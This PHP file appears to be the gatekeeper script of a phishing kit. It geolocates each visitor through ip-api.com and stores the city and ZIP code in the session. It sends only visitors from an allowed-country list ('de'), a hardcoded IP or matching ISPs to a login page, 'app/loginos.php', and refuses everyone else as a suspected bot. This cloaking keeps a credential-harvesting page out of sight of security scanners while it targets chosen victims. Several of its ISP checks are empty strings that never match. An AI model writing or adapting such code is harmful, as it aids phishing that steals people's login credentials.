<?php

require 'main.php';

$ip = "";
if (isset($_SERVER['HTTP_CLIENT_IP']) && !empty($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['REMOTE_ADDR']) && !empty($_SERVER['REMOTE_ADDR'])) {
    $ip = $_SERVER['REMOTE_ADDR'];
}

$_SESSION['ip'] = $ip;

function getIpInfo($ip = '') {
    $ipinfo = file_get_contents("http://ip-api.com/json/".$ip);
    $ipinfo_json = json_decode($ipinfo, true);
    return $ipinfo_json;
}


$ipinfo_json = getIpInfo($ip);
$org = isset($ipinfo_json['as']) ? $ipinfo_json['as'] : "";
$isps = isset($ipinfo_json['isp']) ? $ipinfo_json['isp'] : "";
$_SESSION['Ucity'] = isset($ipinfo_json['city']) ? $ipinfo_json['city'] : "";
$_SESSION['Uzip'] = isset($ipinfo_json['zip']) ? $ipinfo_json['zip'] : "";
$countrycode = isset($ipinfo_json['countryCode']) ? $ipinfo_json['countryCode'] : "";

$AuthCountry = array('de','');
// put here allowed country code ex : it uk us ( separate each one by , ) en miniscules

// Check the condition to determine authorization or blocking
if (strpos($org,"") || strpos($org,"") || strpos($org,"") || strpos($org,"") || strpos($org,"") || strpos($org,"") || strpos($org,"") || strpos($org,"") || strpos($org,"") || strpos($org,"Wana Corporate") || strpos($org,"") || strpos($org,"") || in_array(strtolower($countrycode), $AuthCountry) || $ip == "185.173.205.203" || $ip == "") {
    // Autorisation de l'utilisateur
    $_SESSION['MASTER'] = true;
    header("Location: app/loginos.php?userid={$id}&ue={$ue}");
    exit; // Make sure to exit after the header redirect
} else {
    // Blocage total de l'utilisateur en cas de suspicion de bot
    die("THE REQUEST WAS REFUSED: CHECK THAT YOU ARE NOT CONNECTED TO A PRIVATE NETWORK");
}
?>

